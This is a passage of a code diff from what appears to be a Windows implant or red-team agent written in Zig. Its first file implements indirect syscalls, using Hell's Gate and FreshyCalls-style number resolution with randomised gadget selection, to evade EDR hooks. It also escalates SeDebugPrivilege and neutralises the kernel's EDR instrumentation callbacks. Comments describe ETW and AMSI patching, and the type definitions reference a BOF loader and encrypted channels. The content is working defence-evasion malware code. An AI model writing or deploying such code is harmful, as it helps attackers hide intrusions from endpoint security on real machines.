if (scan_bytes[j] == 0xB8) {
|
||||
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
|
||||
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
|
||||
return @as(u16, @intCast(ssn));
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
|
||||
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
|
||||
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
|
||||
// Runs once — subsequent calls no-op.
|
||||
pub fn init_syscall() bool {
|
||||
if (g_init_done and g_ntdll_base != null) return true;
|
||||
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
||||
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
|
||||
if (g_ntdll_base == null) return false;
|
||||
|
||||
// Seed PRNG from stack address ^ tick count
|
||||
var stack_var: u64 = 0;
|
||||
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
|
||||
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
|
||||
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
|
||||
g_rand_state ^= GetTickCount64();
|
||||
}
|
||||
|
||||
// Scan entire ntdll for "syscall; ret" (0F 05 C3)
|
||||
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
|
||||
const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return false;
|
||||
const NT_SIGNATURE: u32 = 0x00004550;
|
||||
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { NumberOfSections: u16, pad: [18]u8 }, OptionalHeader: extern struct { SizeOfImage: u32, pad: [236]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
||||
if (nt.Signature != NT_SIGNATURE) return false;
|
||||
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
|
||||
|
||||
g_syscall_count = 0;
|
||||
var j: usize = 0;
|
||||
const scan_end: usize = nt.OptionalHeader.SizeOfImage;
|
||||
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
||||
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
|
||||
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
||||
g_syscall_count += 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (g_syscall_count == 0) return false;
|
||||
|
||||
// Cache exception directory range for HAL's Gate fallback
|
||||
{
|
||||
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
|
||||
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
|
||||
for (0..nt.FileHeader.NumberOfSections) |si| {
|
||||
const sec = §ions[si];
|
||||
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
|
||||
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
|
||||
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build FreshyCalls table — Nt* exports sorted by RVA, SSN = position
|
||||
build_freshy_table();
|
||||
|
||||
// Scan for jmp r10 gadget (41 FF E2) — used by CFG-aware IC nullifier
|
||||
{
|
||||
var scan_i: usize = 0;
|
||||
while (scan_i < scan_end - 3) : (scan_i += 1) {
|
||||
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
|
||||
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
g_init_done = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
// Core dispatcher: extract SSN → pick random syscall gadget → hells_gate to encrypt SSN →
|
||||
// pack up to 11 args → call hell_descent assembly stub. Gadget address and SSN are XOR'd
|
||||
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
|
||||
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
|
||||
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
|
||||
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
|
||||
const gadget = g_syscall_addrs[idx];
|
||||
hells_gate(@as(u32, ssn), gadget);
|
||||
const a = [11]usize{
|
||||
args[0],
|
||||
if (arg_count > 1) args[1] else 0,
|
||||
if (arg_count > 2) args[2] else 0,
|
||||
if (arg_count > 3) args[3] else 0,
|
||||
if (arg_count > 4) args[4] else 0,
|
||||
if (arg_count > 5) args[5] else 0,
|
||||
if (arg_count > 6) args[6] else 0,
|
||||
if (arg_count > 7) args[7] else 0,
|
||||
if (arg_count > 8) args[8] else 0,
|
||||
if (arg_count > 9) args[9] else 0,
|
||||
if (arg_count > 10) args[10] else 0,
|
||||
};
|
||||
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
|
||||
}
|
||||
|
||||
fn ntstatus(r: usize) win.NTSTATUS {
|
||||
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
|
||||
}
|
||||
|
||||
// --------- NT API wrappers ---------
|
||||
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
|
||||
|
||||
// Creates a kernel timer object. Used by rc4_sleep for unhooked timing.
|
||||
pub fn nt_create_timer(timer: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*anyopaque) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(timer), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateTimer"), &args, 3));
|
||||
}
|
||||
|
||||
// Arms a timer to fire after the specified interval.
|
||||
pub fn nt_set_timer(timer: win.HANDLE, due_time: *win.LARGE_INTEGER, timer_routine: ?*anyopaque, resume_thread: win.BOOLEAN, period: win.LONG, tolerable_delay: ?*win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(timer), @intFromPtr(due_time), if (timer_routine) |p| @intFromPtr(p) else @as(usize, 0), @intFromBool(resume_thread != 0), @as(usize, @as(u32, @bitCast(period))), if (tolerable_delay) |p| @intFromPtr(p) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetTimer"), &args, 6));
|
||||
}
|
||||
|
||||
// Waits on a timer handle to go signaled. Unhooked alternative to Sleep.
|
||||
pub fn nt_wait_for_multiple_objects(count: win.ULONG, handles: [*]const win.HANDLE, wait_type: win.BOOLEAN, alertable: win.BOOLEAN, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const args = [_]usize{ @as(usize, count), @intFromPtr(handles), @intFromBool(wait_type != 0), @intFromBool(alertable != 0), if (timeout) |t| @intFromPtr(t) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWaitForMultipleObjects"), &args, 5));
|
||||
}
|
||||
|
||||
// Standard sleep syscall. Spoofed — EDRs commonly hook SleepEx and derivatives.
|
||||
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
||||
}
|
||||
|
||||
// Queries process info (PPI, PE flags, mitigation policies, etc).
|
||||
pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5));
|
||||
}
|
||||
|
||||
// Sets thread properties (hide from debugger, etc).
|
||||
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
|
||||
}
|
||||
|
||||
// Closes a handle. Spoofed — EDRs monitor this as a way to detect handle leaks from unknown sources.
|
||||
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
|
||||
const args = [_]usize{@intFromPtr(handle)};
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
|
||||
}
|
||||
|
||||
// Pseudo-handles: no need to open, just use these constants
|
||||
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
|
||||
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
|
||||
|
||||
// Opens a handle to another process by PID.
|
||||
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
|
||||
}
|
||||
|
||||
// Sets process-level properties. Spoofed because EDR callbacks use this API.
|
||||
pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
|
||||
}
|
||||
|
||||
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
|
||||
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
|
||||
// is best-effort (requires admin/elevated token on most systems, defanged on 11 23H2+).
|
||||
fn escalate_debug_priv() void {
|
||||
const getcp = api.priv_get_current_process orelse return;
|
||||
const open_tok = api.exec_open_process_token orelse return;
|
||||
const lookup = api.priv_lookup_privilege_value_w orelse return;
|
||||
const adjust = api.priv_adjust_token_privileges orelse return;
|
||||
|
||||
var h_token: win.HANDLE = undefined;
|
||||
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
|
||||
defer _ = nt_close(h_token);
|
||||
|
||||
var luid: win.LUID = undefined;
|
||||
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
|
||||
|
||||
var tp = win.TOKEN_PRIVILEGES{
|
||||
.PrivilegeCount = 1,
|
||||
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
|
||||
};
|
||||
_ = adjust(h_token, 0, &tp, 0, null, null);
|
||||
}
|
||||
|
||||
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
|
||||
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
|
||||
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
|
||||
// immediately returns, effectively neutralizing the callback.
|
||||
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
|
||||
// Runs LAST in startup chain — after ETW/AMSI patches, so the "silence" isn't immediately flagged.
|
||||
pub fn remove_edr_callbacks() void {
|
||||
escalate_debug_priv();
|
||||
|
||||
const PI_CALLBACK: u32 = 40;
|
||||
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
|
||||
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
|
||||
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
|
||||
}
|
||||
|
||||
// Allocates virtual memory in any process. Spoofed — high-value EDR target.
|
||||
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
|
||||
}
|
||||
|
||||
// Changes page protection. Spoofed — commonly monitored for shellcode/RWX patterns.
|
||||
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
||||
}
|
||||
|
||||
// Creates a thread in any process. Spoofed — primary EDR/AV injection detection point.
|
||||
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
|
||||
}
|
||||
|
||||
// Creates a new process. Spoofed — fork-and-run is the loudest IOC EDRs look for.
|
||||
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
|
||||
}
|
||||
|
||||
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
|
||||
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
|
||||
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
|
||||
}
|
||||
|
||||
// Queries memory region info for an address range.
|
||||
pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS {
|
||||
const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) };
|
||||
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6));
|
||||
}
|
||||
@@ -0,0 +1,472 @@
|
||||
// Win32 type aliases, constants, and struct definitions — data layout only, no function types.
|
||||
// 1. Base types — CHAR→i8, DWORD→u32, NTSTATUS→i32, BOOL→i32, ULONG_PTR→usize.
|
||||
// 2. Pointers/handles — LPVOID→*anyopaque, HANDLE, HMODULE, PHANDLE, HINTERNET.
|
||||
// 3. Strings — LPSTR→[*:0]u8, LPCWSTR→[*:0]const u16, FARPROC, PDWORD.
|
||||
// 4. Inline helpers — NT_SUCCESS, memory/page constants (PAGE_NOACCESS→MEM_RELEASE).
|
||||
// 5. Exception — EXCEPTION_SINGLE_STEP=0x80000004, CONTEXT_DEBUG_REGISTERS=0x00100010.
|
||||
// 6. Startup — STARTUPINFOEXA, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_*.
|
||||
// 7. COFF — section/symbol/relocation structs for BOF loader.
|
||||
// 8. Crypto — BCRYPT_AES_ALGORITHM, ECDH P-256, AES-256-GCM sizes, auth mode info.
|
||||
// 9. NT kernel — CONTEXT (debug regs at offset 192+), EXCEPTION_RECORD, OBJECT_ATTRIBUTES.
|
||||
// 10. Security — TOKEN_PRIVILEGES, LUID, SE_PRIVILEGE_ENABLED, token access masks.
|
||||
const std = @import("std");
|
||||
|
||||
pub const WINAPI = std.builtin.CallingConvention.winapi;
|
||||
|
||||
pub const CHAR = i8;
|
||||
pub const UCHAR = u8;
|
||||
pub const BYTE = u8;
|
||||
pub const WORD = u16;
|
||||
pub const WCHAR = u16;
|
||||
pub const SHORT = i16;
|
||||
pub const INT = i32;
|
||||
pub const UINT = u32;
|
||||
pub const LONG = i32;
|
||||
pub const DWORD = u32;
|
||||
pub const DWORD64 = u64;
|
||||
pub const ULONG = u32;
|
||||
pub const LONGLONG = i64;
|
||||
pub const ULONGLONG = u64;
|
||||
pub const BOOL = i32;
|
||||
pub const BOOLEAN = u8;
|
||||
pub const NTSTATUS = i32;
|
||||
pub const HRESULT = i32;
|
||||
pub const SIZE_T = usize;
|
||||
pub const DWORD_PTR = usize;
|
||||
pub const UINT_PTR = usize;
|
||||
pub const ULONG_PTR = usize;
|
||||
pub const LONG_PTR = isize;
|
||||
pub const LARGE_INTEGER = i64;
|
||||
pub const INTERNET_PORT = u16;
|
||||
|
||||
pub const LPVOID = *anyopaque;
|
||||
pub const LPCVOID = *const anyopaque;
|
||||
pub const HANDLE = *anyopaque;
|
||||
pub const PHANDLE = *HANDLE;
|
||||
pub const HMODULE = *anyopaque;
|
||||
pub const HINSTANCE = *anyopaque;
|
||||
pub const HINTERNET = *anyopaque;
|
||||
|
||||
pub const LPSTR = [*:0]u8;
|
||||
pub const LPCSTR = [*:0]const u8;
|
||||
pub const LPWSTR = [*:0]u16;
|
||||
pub const LPCWSTR = [*:0]const u16;
|
||||
|
||||
pub const PDWORD = *DWORD;
|
||||
pub const PULONG = *ULONG;
|
||||
pub const PSIZE_T = *SIZE_T;
|
||||
pub const PBOOL = *BOOL;
|
||||
|
||||
pub const FARPROC = *const fn() callconv(WINAPI) isize;
|
||||
|
||||
// 1a. type aliases done. below: inline helpers + memory/page constants
|
||||
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
|
||||
return status >= 0;
|
||||
}
|
||||
|
||||
pub const MEM_COMMIT: ULONG = 0x00001000;
|
||||
pub const MEM_RESERVE: ULONG = 0x00002000;
|
||||
pub const MEM_RELEASE: ULONG = 0x00008000;
|
||||
|
||||
pub const PAGE_NOACCESS: ULONG = 0x01;
|
||||
pub const PAGE_READONLY: ULONG = 0x02;
|
||||
pub const PAGE_READWRITE: ULONG = 0x04;
|
||||
pub const DLL_PROCESS_ATTACH: ULONG = 1;
|
||||
pub const PAGE_EXECUTE: ULONG = 0x10;
|
||||
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
|
||||
pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
|
||||
|
||||
pub const CONTEXT_AMD64: DWORD = 0x00100000;
|
||||
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
|
||||
|
||||
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
|
||||
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
|
||||
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
|
||||
|
||||
// process/startup constants + structures
|
||||
pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
|
||||
|
||||
pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
|
||||
pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
|
||||
|
||||
pub const STARTUPINFOEXA = extern struct {
|
||||
StartupInfo: STARTUPINFOA,
|
||||
lpAttributeList: ?*anyopaque,
|
||||
};
|
||||
|
||||
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
|
||||
|
||||
pub const MAX_PATH: usize = 260;
|
||||
|
||||
pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
|
||||
pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
|
||||
pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
|
||||
pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
|
||||
pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
|
||||
pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
|
||||
|
||||
pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
|
||||
BINARY_MESSAGE = 0,
|
||||
BINARY_FRAGMENT = 1,
|
||||
UTF8_MESSAGE = 2,
|
||||
UTF8_FRAGMENT = 3,
|
||||
CLOSE = 4,
|
||||
};
|
||||
|
||||
// 1c. PE/COFF constants for the BOF loader and export parsing
|
||||
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
|
||||
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
|
||||
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
|
||||
|
||||
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
|
||||
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
|
||||
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
|
||||
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
|
||||
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
|
||||
pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
|
||||
pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
|
||||
pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
|
||||
pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
|
||||
pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
|
||||
|
||||
pub const COFF_SECT_EXEC: u32 = 0x20000000;
|
||||
pub const COFF_SECT_WRITE: u32 = 0x80000000;
|
||||
pub const COFF_SECT_DATA: u32 = 0x40000000;
|
||||
|
||||
// 1b. BCrypt crypto constants + structs for ECDH/AES-GCM
|
||||
pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
|
||||
pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
|
||||
pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
|
||||
pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
|
||||
|
||||
pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
|
||||
pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
|
||||
pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
|
||||
|
||||
pub const AES_KEY_SIZE: usize = 32;
|
||||
pub const GCM_NONCE_SIZE: usize = 12;
|
||||
pub const GCM_TAG_SIZE: usize = 16;
|
||||
|
||||
pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
|
||||
info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
|
||||
info.dwInfoVersion = 1;
|
||||
info.pbNonce = null;
|
||||
info.cbNonce = 0;
|
||||
info.pbAuthData = null;
|
||||
info.cbAuthData = 0;
|
||||
info.pbTag = null;
|
||||
info.cbTag = 0;
|
||||
info.pbMacContext = null;
|
||||
info.cbMacContext = 0;
|
||||
info.dwFlags = 0;
|
||||
info.pbIV = null;
|
||||
info.cbIV = 0;
|
||||
}
|
||||
|
||||
pub const UNICODE_STRING = extern struct {
|
||||
Length: u16,
|
||||
MaximumLength: u16,
|
||||
Buffer: [*]u16,
|
||||
};
|
||||
|
||||
pub const SYSTEM_INFO = extern struct {
|
||||
u: extern union {
|
||||
dwOemId: DWORD,
|
||||
s: extern struct {
|
||||
wProcessorArchitecture: WORD,
|
||||
wReserved: WORD,
|
||||
},
|
||||
},
|
||||
dwPageSize: DWORD,
|
||||
lpMinimumApplicationAddress: LPVOID,
|
||||
lpMaximumApplicationAddress: LPVOID,
|
||||
dwActiveProcessorMask: DWORD_PTR,
|
||||
dwNumberOfProcessors: DWORD,
|
||||
dwProcessorType: DWORD,
|
||||
dwAllocationGranularity: DWORD,
|
||||
wProcessorLevel: WORD,
|
||||
wProcessorRevision: WORD,
|
||||
};
|
||||
|
||||
pub const COORD = extern struct {
|
||||
X: SHORT,
|
||||
Y: SHORT,
|
||||
};
|
||||
|
||||
pub const MEMORY_BASIC_INFORMATION = extern struct {
|
||||
BaseAddress: LPVOID,
|
||||
AllocationBase: LPVOID,
|
||||
AllocationProtect: DWORD,
|
||||
RegionSize: SIZE_T,
|
||||
State: DWORD,
|
||||
Protect: DWORD,
|
||||
Type: DWORD,
|
||||
};
|
||||
|
||||
pub const SECURITY_ATTRIBUTES = extern struct {
|
||||
nLength: DWORD,
|
||||
lpSecurityDescriptor: ?LPVOID,
|
||||
bInheritHandle: BOOL,
|
||||
};
|
||||
|
||||
pub const PROCESS_INFORMATION = extern struct {
|
||||
hProcess: HANDLE,
|
||||
hThread: HANDLE,
|
||||
dwProcessId: DWORD,
|
||||
dwThreadId: DWORD,
|
||||
};
|
||||
|
||||
pub const STARTUPINFOA = extern struct {
|
||||
cb: DWORD,
|
||||
lpReserved: LPSTR,
|
||||
lpDesktop: LPSTR,
|
||||
lpTitle: LPSTR,
|
||||
dwX: DWORD,
|
||||
dwY: DWORD,
|
||||
dwXSize: DWORD,
|
||||
dwYSize: DWORD,
|
||||
dwXCountChars: DWORD,
|
||||
dwYCountChars: DWORD,
|
||||
dwFillAttribute: DWORD,
|
||||
dwFlags: DWORD,
|
||||
wShowWindow: WORD,
|
||||
cbReserved2: WORD,
|
||||
lpReserved2: *BYTE,
|
||||
hStdInput: HANDLE,
|
||||
hStdOutput: HANDLE,
|
||||
hStdError: HANDLE,
|
||||
};
|
||||
|
||||
pub const SYSTEMTIME = extern struct {
|
||||
wYear: WORD,
|
||||
wMonth: WORD,
|
||||
wDayOfWeek: WORD,
|
||||
wDay: WORD,
|
||||
wHour: WORD,
|
||||
wMinute: WORD,
|
||||
wSecond: WORD,
|
||||
wMilliseconds: WORD,
|
||||
};
|
||||
|
||||
// 1d. NT kernel structures — CONTEXT, EXCEPTION_RECORD, object/process types
|
||||
pub const CONTEXT = extern struct {
|
||||
P1Home: DWORD64,
|
||||
P2Home: DWORD64,
|
||||
P3Home: DWORD64,
|
||||
P4Home: DWORD64,
|
||||
P5Home: DWORD64,
|
||||
P6Home: DWORD64,
|
||||
ContextFlags: DWORD,
|
||||
MxCsr: DWORD,
|
||||
SegCs: WORD,
|
||||
